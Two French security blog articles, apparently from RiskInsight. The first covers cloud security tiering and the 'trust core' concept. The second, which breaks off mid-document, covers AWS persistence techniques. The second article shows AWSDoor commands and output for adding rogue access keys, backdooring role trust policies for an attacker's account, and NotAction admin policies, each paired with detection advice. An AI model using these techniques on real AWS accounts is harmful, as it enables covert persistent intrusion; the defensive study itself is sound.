Le principe de tiering préconisé sur les infrastructures on-premise est-il applicable au cloud ?

Évolution du modèle de sécurité

Dans les environnements on-premise, en particulier Active Directory, la sécurité des infrastructures s’appuie généralement sur une segmentation stricte en trois niveaux (T0, T1 et T2) permettant d’isoler les systèmes d’administration critiques (T0), les serveurs (T1) et les postes utilisateurs (T2) afin de limiter les risques de propagation.

Cette organisation hiérarchique et périmétrique est inhérente au monde AD et ne peut être directement appliquée au cloud pour ces deux principales raisons :

• Les portails sont centralisés: une grande diversité d’administrateurs aux droits différents interagit avec la même URL.
• La frontière entre les niveaux d’administration est complexifiée: le principe de permission fine, par rôle (RBAC), par attribut de ressources (ABAC), selon certaines conditions (provenance, risque, conformité, méthode d’authentification…) permet de configurer des accès très précisément, mais complexifie et floute la vision globale des permissions.

Afin de proposer une réponse à ce nouveau paradigme, Microsoft a publié son Enterprise Access Model (décrit ici), mettant en évidence 3 principaux plans : le Control Plane, Management Plane et Data Plane.

Ce modèle reprend la criticité « en cascade », mais simplifiant :

• les 3 tiers en 2 accès : administrateur vs utilisateur ;
• les flux d’administration en accès au portail ;
• la criticité des serveurs en les centralisant dans le Data plane.

Une illustration de l’ancien et du nouveau modèle :

Ce nouveau modèle met particulièrement en valeur 3 éléments :

• L’identité de l’utilisateur : accès privilégié vs accès utilisateur ;
• La donnée et les services : au détriment des serveurs ;
• La méthode d’accès aux portails web d’administration.

L’inversion des importances entre « serveurs » et « portails web » abstrayant l’Active Directory est un changement radical.

Cependant, très peu (si ce n’est aucune) grande structure en est à ce niveau d’abandon de son SI « legacy », une grande partie sera dans un état transitoire où ce SI aura été virtualisé sur un Cloud afin de se séparer de ses datacenters, mais dont les modalités d’administration sont restées les mêmes.

Ces entreprises doivent donc traiter avec un tiering model désuet et un Enterprise Access Model décoléré des risques et besoins de sécurité actuels.

Pour la suite de cet article, nous prendrons comme exemple la société Tartampion, qui vient de terminer un programme Move-to-Cloud de 3 ans sur AWS. Le bilan est le suivant :

• Une Landing Zone a été créée, les applications déjà sur AWS y ont été intégrées
• Les Data Center ont été fermés
• Pris par le manque de temps et de moyens, une majeure partie du SI a été incorporé en lift and shift, incluant des solutions métiers, réseau, bastion et AD.

Un SI hybride et virtualisé qui pose problème

Selon l’EAM, les portails Azure et AWS sont affichés au même niveau (le management plane) au rang T1, sans autre forme de distinction. Or ces 2 environnements cloud sont à eux seuls le support de nombreux SI, utilisés par de multiples collaborateurs avec des niveaux de droits et d’impacts très variés.

Pour illustrer les précédents propos, mettons de côté l’aspect Digital Workplace (suite O365) et prenons 3 comptes AWS issus d’une Landing Zone de Tartampion, supportant différents services d’infrastructure :

En se fiant au référentiel proposé par Microsoft, ces trois comptes AWS devraient appartenir au Management plane avec un niveau de sécurité T1. Cependant, en cas de compromission d’un des 3 comptes par un attaquant, les impacts seraient très différents.

Si la Landing Zone est correctement implémentée, la compromission d’un compte de Sandbox n’aurait que très peu d’impact, tandis que celle du Master Account entrainerait celle de tous les comptes et ressources sous-jacentes.

Un exemple de découpage plus adéquat serait le suivant :

L’Enterprise Access Model par Microsoft est un framework macroscopique permettant d’initier une base de découpage des services cloud, mais qui reste à adapter selon la criticité des SI concernés.

Comment le rendre pertinent ? Pour répondre, il faut comprendre les scénarios d’attaque exploitant les services cloud.

Le Cloud vu de l’attaquant

5 principes du cloud favorisant les attaques

Premièrement, les infrastructures cloud sont par défaut exposées sur Internet, contrairement aux ressources sensibles d’un SI. Ainsi, un phishing réussi conduit très probablement à un accès sur le Cloud.

Deuxièmement, les entreprises ont aujourd’hui des organisations hybrides (on-premise et cloud) :

• Les infrastructures cloud sont reliées au reste du SI on-premise ;
• Les postes de travail peuvent également être hybrides et gérés par un service cloud comme Intune. Les permissions pour utiliser ce service sont gérées dans Entra ID ;
• Les identités sont souvent des comptes synchronisés, cela concerne également les comptes d’administration.

Les organisations hybrides peuvent faciliter les latéralisations entre le cloud et l’on-premise.

Troisièmement, la gestion des identités est très complexe avec différentes portées. Par exemple, Entra ID permet de gérer les accès à Azure et M365 aussi bien pour des utilisateurs, que des applications que des comptes de service.

Pour compléter, les notions de cybersécurité liées au Cloud sont encore relativement nouvelles et méconnues pour certaines équipes « legacy », comme le SOC/CERT, le réseau… Les ressources cloud les plus sensibles ne sont pas systématiquement identifiées, protégées et surveillées.

Enfin, même si des mécanismes de détection natifs sont présents, ils ne sont pas toujours interconnectés avec les SIEM/SOAR, ce qui ralentit les capacités d’intervention. Une récente opération Purple Team menée sur des infrastructures Azure et AWS a confirmé que les outils de détection natifs ont une capacité de détection limitée. Il s’agit d’un constat retrouvable dans les Red Team puisqu’avec une démarche « OpSec », les outils de détection cloud sont rarement capables d’identifier une attaque en cours.

REX de nos tests d’intrusion & Red Team

Issus des opérations de Red Team menées récemment, ces chemins d’attaques spécifiques aux environnements cloud sont témoin des impacts et des facilités qu’il est possible d’avoir pour s’élever en privilège jusqu’à obtenir des accès très permissifs :

Le premier scénario, effectué sur AWS, est décrit ci-dessous, les deux autres ont été analysés dans une série d’articles Risk Insight disponible ici.

Reconnaissance et Accès initial

Des catégories d’employés sont généralement ciblées afin de compromettre une personne avec des droits intéressants dans le SI (Développeur, Support, OPS…). Un moyen souvent utilisé est d’utiliser du phishing. Les mécanismes de phishing actuel sont capables de contourner l’usage de mots de passe complexe et la plupart des méthodes de MFA (Multi-Factor Authentication).

Escalade de privilèges et mouvements latéraux

Dans le premier scénario, un développeur compromis possédait des accès à une ferme Citrix. Les environnements Citrix ne sont pas simples à durcir complètement et quelques vulnérabilités d’échappement ont permis à la Red Team d’avoir un accès au serveur sous-jacent.

Les informations récoltées sur la machine ont indiqué que le serveur pouvait être hébergé sur AWS. Cela s’est vérifié en essayant d’accéder aux métadonnées AWS du serveur : l’instance avait des droits sur le compte AWS du client. La machine virtuelle du Citrix possédait le rôle « AmazonEC2FullAccess » lui permettant des actions de gestion sur les EC2 du même compte AWS.

À l’aide de la CLI AWS, les autres EC2 ont été listées. Un contrôleur de domaine du client était présent dans ce compte AWS. C’est une pratique courante de vouloir regrouper dans un même compte, généralement appelé « Shared Services », les services qui ont pour vocation d’être utilisés par plusieurs projets. Il est néanmoins recommandé de vérifier que la criticité des services partagés soit homogène de sorte à pouvoir appliquer un durcissement adéquat sur le compte, ou les séparer en plusieurs environnements.

Actions sur les trophées

À partir du rôle AWS du serveur Citrix, une sauvegarde instantanée du contrôleur de domaine a été faite puis téléchargée. Les sauvegardes d’un contrôleur de domaine contiennent tous les fichiers de la machine, y compris les fichiers les plus sensibles, comme la base ntds.dit, qui contient les informations et secrets de tous les utilisateurs du domaine. L’exfiltration de cette base se traduit en la compromission totale du domaine AD concerné.

Ce scénario illustre l’un des chemins d’attaques qui ont été exploités lors des opérations de redteam, facilité par le manque de visibilité sur les impacts que peuvent avoir une ressource compromise hébergée sur le cloud.

Des impacts plus rapides et plus forts

Les attaques déjà possibles sur un SI on-premise peuvent être reproduites et même accélérées grâce aux fonctionnalités du cloud. Par exemple, le chiffrement de buckets S3 (service de stockage de fichiers) à partir d’une clé KMS (de chiffrement) d’un autre compte AWS imite le chiffrement massif de données, ou l’utilisation de la fonctionnalité « lifecycle » permet une suppression de tous les objets en moins de 24 heures, peu importe la quantité de données.

De nouvelles attaques sont également apparues comme le « Hijack de souscription » qui permet de rattacher un abonnement d’une organisation Azure à une autre et ainsi de voler toutes les données qu’il contient et empêcher les actions de remédiation. Cette attaque est réalisable en quelques clics depuis l’interface web Azure.

Identification et protection du cœur de confiance cloud

Identification du Cœur de confiance

Le cœur de confiance adopte une approche centrée sur la priorisation des actifs, qui diffère du modèle de tiering ou de l’Enterprise Access Model de Microsoft. Contrairement à ces modèles qui proposent un découpage prédéfini, il n’existe pas de grille universelle : chaque organisation doit identifier elle-même quelles ressources méritent le plus haut niveau de protection. L’idée est d’établir un cercle restreint de ressources critiques (qu’elles soient cloud ou on-premise) puis de déployer des niveaux de protection dégressifs à mesure que l’on s’éloigne de ce cœur.

L’identification du cœur de confiance repose sur deux grands critères :

• Criticité métier: ce sont les ressources qui concentrent la valeur et la continuité des activités de l’entreprise. Si elles venaient à être perdues ou compromises, les conséquences seraient immédiates pour le fonctionnement quotidien et financièrement. Un environnement SharePoint contenant la donnée intellectuelle / brevets en est un exemple courant ;
• Criticité SI: il s’agit des ressources qui assurent l’administration du système d’information et qui disposent d’un niveau d’accès élevé. Leur compromission aurait un impact majeur sur l’ensemble du SI et permettrait d’avoir l’impact métier précédemment énoncé. On retrouve ici les contrôleurs de domaine ou encore les services d’IAM Cloud comme Entra ID et AWS Identity Center.

Cette cartographie n’est jamais totalement tranchée. Pour certains éléments, la posture à adopter reste plus floue, deux exemples l’illustrent bien :

• L’EDR: élément de sécurité évident d’un SI, systématiquement déployé tant sur les postes de travail que sur les serveurs cloud et on-premise, sa console d’administration est de plus en plus souvent exposée sur internet, et permet d’exécuter des commandes arbitraires sur les équipements qui en sont équipés.
• Les chaînes CICD: un savant, mais complexe agglomérat d’applications s’appelant entre elles, dont l’accès (le gestionnaire de code : GitLab, GitHub…) est offert à l’ensemble des collaborateurs et les droits sur le SI (manipulé par les runners de déploiement) sont bien souvent administrateur de l’ensemble des infrastructures cloud. Sur l’ensemble des Red Team effectués en 2024 & 2025, 80% ont exploité des vulnérabilités associées à ses solutions pour progresser dans leur opération, voire obtenir des trophées de compromission par ce biais.

Afin d’identifier le « noyau dur » du cœur de confiance, qu’on appellera socle de sécurité, on peut reprendre les préceptes de l’ancien T0 : la compromission d’un de ses éléments entrainerait probablement celles des autres, et par cascade de la majeure partie du SI.

En supposant que vos applications appliquent un correct cloisonnement interutilisateur (l’intégralité de vos sites SharePoint n’est pas accessible par tous, n’est-ce pas ?), les références aux prochaines applications seront à comprendre comme des accès administrateurs / super-utilisateurs à ces dernières, et non simple utilisateur.

Voici l’une des représentations possibles pour un cœur de confiance hybride :

Dans cette représentation, il y a côté on-premise :

• Le T0 avec ses contrôleurs de domaine, l’ADCS, et potentiellement la PKI, le bastion, la console EDR…
• Le T1 en intégrant en plus les applications métiers à fort impact.

Et côté Cloud, on retrouve :

• Au cœur le Control Plane (AWS Orga & Identity Center, Entra ID) ainsi que les modules de la Landing Zone supportant le T0 (si une partie du T0 est hébergée dans le Cloud) ;
• En s’éloignant, les diverses consoles d’administration des suites de bureautique, et de management des infrastructures ou des applications.

En établissant ce diagramme, il est important de garder à l’esprit que :

• L’IT sert au métier et quand bien même la zone centrale du cœur de confiance est principalement occupée par des briques techniques, il convient d’inscrire ses solutions critiques ;
• Les chaînes de dépendance / compromission ont beaucoup d’impact sur les choix d’architecture: positionner un AD sur AWS, ou déployer un EDR sur un AD peut soudainement créer de nombreux chemins de compromission et de rebond entre les 2 mondes.

Enfin, la construction d’un cœur de confiance ne peut pas se limiter à une logique de classification statique. Elle doit reposer sur une approche qui évalue la criticité de chaque actif et le risque qu’il introduit (une entreprise de développement de logiciel ne positionnera surement son Git au même niveau qu’une entreprise de travaux public).

Protection du cœur de confiance cloud

La sécurité du cœur de confiance va reposer sur les deux traditionnels facteurs de risques :

• Réduire l’impact: comment empêcher un utilisateur compromis ou malveillant de se connecter aux portails cloud sur un navigateur et de faire des actions sensibles en quelques clics, comme faire une sauvegarde d’un contrôleur de domaine hébergé sur une VM ou supprimer les sauvegardes de données de production ?
• Réduire la probabilité : comment réduire les risques d’accès illégitimes à partir d’un cookie de session volé par phishing, de la compromission d’un poste de travail ou de la réutilisation de mots de passe des utilisateurs ?

Protection du socle de sécurité cloud

Concernant le « socle de sécurité » cloud il est possible de hiérarchiser les environnements par criticité selon cette échelle macroscopique :

En fonction des équipes en charge et de la complexité de les inclure dans un niveau de protection particulièrement élevée, certaines organisations font le choix d’exclure des environnements dont la compromission ne permettrait pas une latéralisation dangereuse, telle que ceux de FinOps, de détection, le Digital Workplace…

La sécurisation du socle de sécurité cloud repose sur 2 principaux points :

• Une hygiène impeccable : configuration IAM épurée, respect du moindre privilège, procédure de déploiement, limitation des ressources au strict nécessaire…
• Une couche de sécurité passive / active : déploiement de politiques (SCP sur AWS, Policy sur Azure) interdisant explicitement certaines actions, ou la manipulation de certaines ressources, et règles de détection afin de lever une alerte en cas de modification d’une politique ou l’occurrence d’un de ses évènements protégés ;

Ces politiques peuvent efficacement être associées à une stratégie de tagging afin d’appliquer, en plus du modèle RBAC (Role Based Access Control) un modèle ABAC (Attribute Based Access Control).

Par exemple il est possible de tagger différentes ressources avec une clé « tiering » et une valeur entre « T0 », « T1 », « T2 » puis de déployer cet ensemble de stratégies :

• Interdire toute action visant une ressource taguée tiering par une identité dont la valeur de son propre tag tiering n’est pas équivalente ;
• Interdire la manipulation de tag tiering, sauf pour un rôle bien précis.

Et voilà comment, en quelques tags et 2 SCP, il est possible de répliquer le tiering model de Microsoft (quelques exceptions peuvent subvenir).

Protections des identités et des accès

Pour protéger les utilisateurs, 3 thématiques de durcissement peuvent être mises en place :

• Identité : avec quel compte l’utilisateur se connecte-t-il aux interfaces d’administration cloud ? Comment les droits sont-ils obtenus ?
• MFA : l’identité est-elle protégée avec une authentification multifactorielle résistante aux attaques de phishing ?
• Provenance: à partir de quelle plateforme l’utilisateur se connecte-t-il aux interfaces d’administration cloud ? La plateforme est-elle managée, et saine ?

Plusieurs niveaux de protection sont envisageables afin de protéger les administrateurs cloud :

Afin de protéger le cœur de confiance restreint, représenté par les triples cadenas, il est recommandé de mettre en œuvre les facteurs d’authentification les plus robustes. Cela inclut l’utilisation d’un compte dédié à l’administration cloud, l’activation d’une authentification multifactorielle physique (exemple : clé de sécurité FIDO2) et le recours à un poste de travail spécifiquement réservé aux opérations sur ce cœur de confiance.

Pour les ressources plus éloignées du centre du cœur de confiance, symbolisées par les doubles cadenas, un niveau de sécurité durci, mais proportionné peut être appliqué, afin de renforcer la protection pour maitriser les coûts et réduire les contraintes excessives aux utilisateurs concernés.

Finalement, les méthodes les plus sécurisées sont également celles qui impliquent le plus de contraintes aux personnes concernées. Il faut maitriser les usages et prendre en compte des situations d’urgence, comme une intervention en astreinte nécessitant des privilèges très élevés.

Répéter les opérations

À l’issue des phases d’identification et de protection, les ressources seront réparties dans les différentes couches du cœur de confiance.

Pour vérifier la bonne implémentation du cœur de confiance, un audit peut être conduit pour vérifier la bonne protection des ressources critiques qui le compose.

Un système d’information est toujours en évolution, mais les deux premières phases auront été faites à un instant t. De nouvelles ressources critiques peuvent être ajoutées, d’autres modifiées, voire supprimées. Il est primordial de refaire une évaluation régulière de son SI et de mettre à jour la répartition des ressources dans le cœur de confiance.

En conclusion, la sécurité des systèmes d’information s’inscrit désormais dans un contexte de complexité croissante et de forte diversification des composants et services d’infrastructures.

Dans ce contexte, il apparaît de plus en plus complexe de définir un modèle de sécurité universel. Certains cadres conservent toute leur pertinence sur des périmètres bien identifiés : le tiering reste une référence pour la sécurisation de l’Active Directory, tout comme l’EAM pour des environnements Cloud fortement centrés sur l’écosystème Microsoft. Néanmoins, ces modèles atteignent rapidement leurs limites dès lors que l’on s’éloigne de ces cas d’usage spécifiques.

Pour la majorité des systèmes d’information, une approche fondée sur l’analyse des risques s’impose donc comme la plus pertinente. Identifier un cœur de confiance, définir clairement les actifs critiques — les crown jewels — et décliner les mesures de sécurité à partir de ces éléments permet de construire une posture de sécurité plus pragmatique, adaptée à la réalité du SI et capable d’évoluer avec lui.

Cette logique, moins normative mais plus contextualisée, constitue sans doute l’un des leviers majeurs pour concilier sécurité, agilité et pérennité des systèmes d’information.

Cet article Sécurité orientée cloud : Adaptation à une nouvelle réalité est apparu en premier sur RiskInsight.

Au cours de la dernière décennie, les infrastructures cloud telles qu’Amazon Web Services (AWS) ont été de plus en plus utilisées pour héberger des infrastructures critiques, gérer des données sensibles et garantir une évolutivité globale. La transition vers des architectures hybrides et cloud-native a profondément modifié les méthodes de déploiement, de sécurisation et de surveillance des infrastructures.

Cependant, à mesure que l’adoption du cloud s’accélère, ses fonctionnalités et sa complexité introduisent de nouveaux défis liés à la sécurisation de ces environnements. Bien que les fournisseurs de services cloud proposent plusieurs mécanismes de sécurité, tels que le contrôle d’accès discrétionnaire et des systèmes de journalisation, de nombreuses organisations peinent encore à mettre en œuvre des stratégies de sécurité efficaces, en raison de la nouveauté de ces environnements. Parmi les erreurs de configuration les plus courantes figurent les mauvaises configurations des rôles IAM, les politiques trop permissives, les identifiants exposés et le manque de visibilité sur les activités cloud-native, qui sont donc autant de failles que les attaquants peuvent exploiter.

Lorsqu’un attaquant obtient un accès initial à un environnement cloud, que ce soit par opportunisme ou par exploitation active, l’action la plus courante après la compromission initiale et l’escalade de privilèges consiste à mettre en place des mécanismes de persistance d’accès dans l’environnement.

Contrairement aux réseaux traditionnels sur site, les environnements cloud offrent une multitude de services et failles de configuration qui peuvent être exploitées pour maintenir un accès à long terme, même après le début des actions correctives.

Dans cet article, nous explorerons le concept de persistance d’accès dans AWS, en analysant les techniques que les adversaires peuvent utiliser pour dissimuler leur présence au sein d’un environnement cloud.

Tout au long de cette article, les fonctionnalités d’un outil dédié, conçu pour simplifier et automatiser le déploiement de techniques de persistance dans les environnements AWS, seront présentées.

Persistance sur AWS

Persistance IAM

Dans le contexte d’AWS, l’Identity and Access Management (IAM) constitue la pierre angulaire de la sécurité. Elle régit les actions que chaque entité peut effectuer dans l’environnement en définissant des rôles, des utilisateurs, des groupes et les politiques associées qui déterminent l’accès aux ressources : si une action ne vous a pas été explicitement autorisée, vous ne pourrez pas l’exécuter.

Globalement, l’IAM fonctionne en associant des identités (comme les utilisateurs ou rôles IAM) à des politiques, qui sont des documents JSON décrivant les privilèges d’un objet IAM sur une ressource.

Ces politiques sont extrêmement granulaires et prennent en charge des conditions telles que les restrictions d’adresse IP, l’authentification multifacteur (MFA) ou l’accès limité durant certaines plages horaires. Les configurations IAM ne se limitent pas à des contrôles d’accès : elles font partie intégrante de l’infrastructure elle-même.

L’IAM est devenu un vecteur puissant de persistance d’accès et, contrairement à un environnement sur site, un attaquant disposant de privilèges suffisants n’a pas besoin de déposer des binaires ou d’exécuter des logiciels malveillants pour maintenir son accès à l’environnement. Il peut simplement modifier les politiques IAM, créer de nouveaux utilisateurs, attribuer des permissions malveillantes à des rôles existants ou compromettre des identités de confiance.

Ce qui rend la persistance basée sur l’IAM particulièrement dangereuse, c’est sa discrétion et sa durabilité. En effet, les modifications apportées à IAM se fondent souvent dans les activités administratives légitimes, ce qui les rend difficiles à détecter. Si l’environnement n’est pas correctement maintenu ou régulièrement audité, identifier une politique malveillante revient à chercher une aiguille dans une botte de foin.

Dans cette section, nous explorerons les techniques courantes et moins connues que les attaquants peuvent utiliser pour établir une persistance d’accès en modifiant les configurations IAM. Nous analyserons des exemples concrets et mettrons en évidence les indicateurs que les équipes de défense doivent surveiller afin de détecter et de répondre à ces tactiques souvent négligées.

AccessKey

Attaque

La technique de persistance la plus élémentaire consiste à ajouter une AccessKey à un utilisateur.

Sur AWS, les utilisateurs peuvent se connecter via l’interface en ligne de commande (CLI) en utilisant une AccessKey. La méthode la plus simple pour établir une persistance consiste à déployer une AccessKey sur un utilisateur disposant de privilèges élevés.

Une fois la clé créée pour cet utilisateur, l’attaquant peut accéder à AWS via l’interface en ligne de commande avec les privilèges de l’utilisateur.

Cependant, cette technique présente certaines limitations :

• Un utilisateur ne peut avoir que deux AccessKey enregistrées simultanément.
• Certaines SCP (Service Control Policies), des politiques globales appliquées par l’organisation sur un sous-compte, peuvent empêcher l’utilisation des AccessKey ou imposer l’authentification multifacteur (MFA).

Concernant la limitation du nombre de clés d’accès enregistrées sur un utilisateur, il est possible de :

• Lister les AccessKey enregistrées sur un utilisateur
• Obtenir la dernière date d’utilisation de l’AccessKey : en général, si un utilisateur possède plus d’une AccessKey, la seconde a été perdue, ou n’est plus utilisée et peut être désactivée et supprimée avec un risque acceptable
• Supprimer l’AccessKey inutilisée

Pour lister et supprimer une AccessKey, les privilèges suivants sont nécessaires :

•  iam:ListAccessKeys : permet de récupérer les détails des AccessKey
•  iam:UpdateAccessKey : permet de désactiver la clé avant sa suppression
•  iam:DeleteAccessKey : permet de supprimer effectivement l’AccessKey

Il est possible d’enregistrer un dispositif MFA sur un utilisateur spécifique sans son consentement, ce qui permet de contourner la restriction. Cependant, si la connexion via AccessKey est refusée, cette technique ne peut pas être utilisée.

Pour ajouter une AccessKey à un utilisateur, le privilège suivant est requis :

•  iam:CreateAccessKey

Pour ajouter un dispositif MFA à un utilisateur, les privilèges suivants sont requis :

•  aws:CreateVirtualMfaDevice
•  aws:EnableMfaDevice

AWSDoor

Cette technique est implémentée dans AWSDoor :

python .\main.py -m AccessKey -u adele.vance

[+] Access key created for user: adele.vance
[+] Access key ID: AKIAWMFUPIEBGOX73NJY
[+] Access key Secret: p4g[…]i7ei

La clé est ensuite ajoutée à l’utilisateur :

Défense

Bien que l’ajout d’une AccessKey à un utilisateur soit le moyen le plus simple d’obtenir une persistance dans un environnement AWS, il s’agit également de l’une des méthodes les moins discrètes.

En effet, si l’équipe de détection identifie la compromission de l’environnement, elle peut facilement retrouver l’AccessKey déployée par l’utilisateur compromis via les journaux AWS CloudTrail :

De plus, certaines solutions de sécurité, telles que les systèmes de gestion de posture de sécurité cloud (Cloud Security Posture Management), peuvent détecter ce type de persistance si les utilisateurs n’emploient généralement pas d’AccessKey.

Enfin, à titre de recommandation, il est généralement préférable d’éviter l’utilisation d’utilisateurs IAM avec AccessKey et de privilégier l’utilisation d’AWS SSO :  https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-sso.html.

Une fois l’authentification SSO configurée, le nombre d’utilisateurs « humains » tombe à 0, seuls les utilisateurs de service restant. Il devient alors plus facile de repérer les AccessKey malveillantes et de surveiller de près celles existantes (par exemple, les utilisateurs de service CICD).

Trust Policy

Dans AWS, les rôles sont des objets IAM utilisés pour déléguer l’accès entre les services, les comptes ou les utilisateurs. Contrairement aux utilisateurs IAM, les rôles ne possèdent pas d’identifiants à long terme. Ils sont plutôt assumés (utilisés) via l’API sts:AssumeRole, qui renvoie des identifiants temporaires accordant les autorisations définies dans les politiques d’autorisations du rôle.

Pour contrôler qui peut assumer un rôle, AWS utilise un document spécifique appelé Trust Policy (Politique de confiance). Une Trust Policy spécifie les identités de principaux de confiance (utilisateurs, rôles, comptes, services ou utilisateurs fédérés) autorisées à assumer le rôle. Si un principal n’est pas listé dans la politique de confiance d’un rôle, il ne peut tout simplement pas l’assumer, quelles que soient les autorisations qu’il détient ailleurs.

Exemple de cas d’utilisation pour AssumeRole et la Trust Policy

Imaginez une entreprise disposant de plusieurs comptes AWS :

• un pour le développement
• un pour la préproduction (staging)
• un pour la production

Plutôt que de créer et gérer des utilisateurs IAM distincts dans chaque environnement, l’organisation définit un groupe centralisé d’administrateurs dans un compte de gestion.

Chaque compte cible définit un rôle avec des privilèges élevés (par exemple, CrossAdminAccess) et configure une TrustPolicy n’autorisant que les identités IAM du compte de gestion à l’assumer. La TrustPolicy, déployée sur chaque compte cible, ressemblera à ceci :

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::${MgmtAccountId}:user/ADM01"
      },
      "Action": "sts:AssumeRole",
    }
  ]
}

Cette approche permet de maintenir une séparation claire entre les environnements tout en conservant un contrôle centralisé. Les administrateurs « changent de rôle » depuis le compte de gestion vers les autres comptes uniquement lorsque cela est nécessaire, sans dupliquer les identifiants. Après l’action AssumeRole, l’administrateur du compte de gestion obtient des privilèges d’administration temporaires sur le compte ciblé.

Attaque

Comme indiqué dans la TrustPolicy précédente, la capacité à assumer un rôle spécifique dans un compte est gérée par la politique qui autorise explicitement un compte externe à assumer un rôle dans le compte cible.

Cependant, rien n’impose à la TrustPolicy de n’autoriser que des comptes connus et de confiance. Un attaquant disposant des privilèges nécessaires pour modifier une TrustPolicy peut y introduire une porte dérobée en autorisant son propre compte AWS à assumer le rôle dans le compte compromis :

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": [
          "arn:aws:iam::${attackerAccountId}:role/fakeRole"
        ]
      },
      "Action": "sts:AssumeRole"
    }
  ]
}

Une fois cette politique appliquée, il est possible d’assumer directement le rôle compromis depuis l’extérieur.

AWSDoor

Cette technique est implémentée dans AWSDoor :

python .\main.py -m TrustPolicy -a FAKEROLE -r arn:aws:iam::584739118107:role/FakeRoleImitatingTargetRoleNames
[-] Initial trust policy:
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "Statement1",
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::438465151234:root"
      },
      "Action": "sts:AssumeRole"
    }
  ]
}
[+] New trust policy:
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "Statement1",
      "Effect": "Allow",
      "Principal": {
        "AWS": [
          "arn:aws:iam::438465151234:user/ADM01",
          "arn:aws:iam::584739118107:role/FakeRoleimitatingTargetRoleNames"
        ]
      },
      "Action": "sts:AssumeRole"
    }
  ]
}
[+] Do you want to apply this change? (yes/no): yes
[+] Trust policy for FAKEROLE updated

 

L’outil permet de :

• Cibler une instruction spécifique avec l’argument -s : par défaut, l’outil injectera la politique de confiance dans la première instruction Allow qu’il trouve. S’il y a plusieurs instructions dans la politique, il est possible d’utiliser le paramètre -s pour cibler une instruction précise.
• Créer une nouvelle instruction avec l’argument -c : avec cette option, il est possible de forcer la création d’une nouvelle instruction avec un nom spécifique (MALICIOUS dans l’exemple ci-dessous).

Défense

Ce type de persistance constitue un mécanisme de persistance puissant dans les environnements AWS. Cette technique ne nécessite pas de stocker des identifiants dans l’environnement victime, ce qui la rend très discrète et durable, d’autant plus que l’équipe de détection se concentre généralement uniquement sur les clés d’accès ou l’utilisation locale des rôles.

La détection de cette méthode de persistance exige une surveillance attentive des modifications apportées aux politiques de confiance. AWS CloudTrail enregistre des événements tels que UpdateAssumeRolePolicy, qui peuvent révéler lorsqu’une politique de confiance est modifiée.

De même, AWS Config peut être utilisé avec des règles personnalisées pour détecter les politiques de confiance (TrustPolicy) ciblant des comptes non gérés.

NotAllow

Attaque

Une politique de rôle IAM (IAM role policy) est un document JSON attaché à un rôle IAM qui définit quelles actions le rôle est autorisé (ou interdit) d’effectuer, sur quelles ressources et dans quelles conditions.

Par exemple, la politique suivante permet au rôle associé de lister tous les buckets S3 du compte :

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": "s3:ListBucket",
      "Resource": "*"
    }
  ]
}

Dans la syntaxe des politiques, il est possible d’utiliser un opérateur de négation : au lieu de définir une liste blanche (whitelist) d’actions autorisées, il est possible de définir une liste noire (blacklist) d’actions.

En effet, en utilisant l’opérateur NotAction, AWS appliquera l’effet de l’instruction à toutes les actions, sauf celles explicitement listées.

Par exemple, la politique suivante :

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "NotAction": "s3:ListBucket",
      "NotResource": "arn:aws:s3:::cloudtrails-logs-01032004"
    }
  ]
}

Cette politique permettra au rôle d’exécuter toute action sauf l’action ListBucket sur le bucket S3 cloudtrails-logs-01032004 : elle accorde donc au rôle associé des privilèges maximaux sur le compte.

Pour un défenseur, cette politique peut, à première vue, sembler inoffensive car elle cible une ressource S3 précise. En réalité, elle confère des privilèges équivalents à AdministratorAccess au rôle.

Un attaquant peut ensuite installer une porte dérobée (backdoor) sur ce rôle en utilisant la persistance via la TrustPolicy, comme expliqué précédemment, afin d’obtenir un accès complet et à distance au compte AWS compromis.

AWSDoor

Cette technique est implémentée dans AWSDoor :

python .\main.py -m NotAction -r FAKEROLE -p ROGUEPOLICY
[+] The following policy will be added :
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "NotAction": [
        "s3:ListBucket"
      ],
      "NotResource": "arn:aws:s3:::cloudtrails-logs-01032004"
    }
  ]
}

[+] Do you want to apply this change? (yes/no): yes
[+] Created policy ARN: arn:aws:iam::438465151234:policy/ROGUEPOLICY
[+] Attaching the policy to FAKEROLE
[+] Successfully created policy ROGUEPOLICY and attached to FAKEROLE

Pour la stratégie, il existe deux possibilités :

•  Politique attachée : c’est la méthode la plus courante pour ajouter une stratégie à un rôle. Tout d’abord, une stratégie est créée avec l’instruction NotAction, puis la stratégie est attachée au rôle. La stratégie apparaîtra alors dans le panneau IAM/Policies :

• Stratégie inline (-i) : c’est la manière la plus rapide d’ajouter une stratégie à un rôle. La stratégie est créée directement au niveau du rôle (d’où le terme inline). Bien qu’il soit plus simple de créer ce type de stratégie, cela est généralement considéré comme une mauvaise pratique de configuration, car la stratégie n’apparaîtra pas dans le panneau IAM/Policies, ce qui la rend plus difficile à retrouver lors d’un examen de configuration.

Par conséquent, certains outils de conformité spécifiques peuvent signaler la stratégie inline. Non pas parce qu’elle est malveillante, mais parce qu’elle n’est pas conforme aux bonnes pratiques de sécurité.

Défense

Du point de vue d’un défenseur, l’utilisation de NotAction combinée à l’effet Allow dans les stratégies IAM doit immédiatement susciter des soupçons, en particulier lorsqu’elle est associée à des champs NotResource.

Les stratégies de détection et de mitigation suivantes peuvent aider les équipes de sécurité à se défendre contre ce type d’escalade de privilèges :

•  Surveiller les modifications des stratégies IAM via CloudTrail : toute création ou modification de stratégies IAM peut être suivie dans CloudTrail avec les événements suivants : CreatePolicy, PutRolePolicy, AttachRolePolicy, CreatePolicyVersion et SetDefaultPolicyVersion.
•  Enquêter sur les documents de stratégie contenant le mot-clé NotAction : cela peut être automatisé en créant un scénario associé dans CloudWatch (NotAction dans requestParameters.policyDocument).
•  Appliquer un contrôle de conformité avec AWS Config : une règle de configuration personnalisée peut être définie pour signaler toute stratégie incluant NotAction ou NotResource avec un effet Allow.

Persistance basée sur les ressources

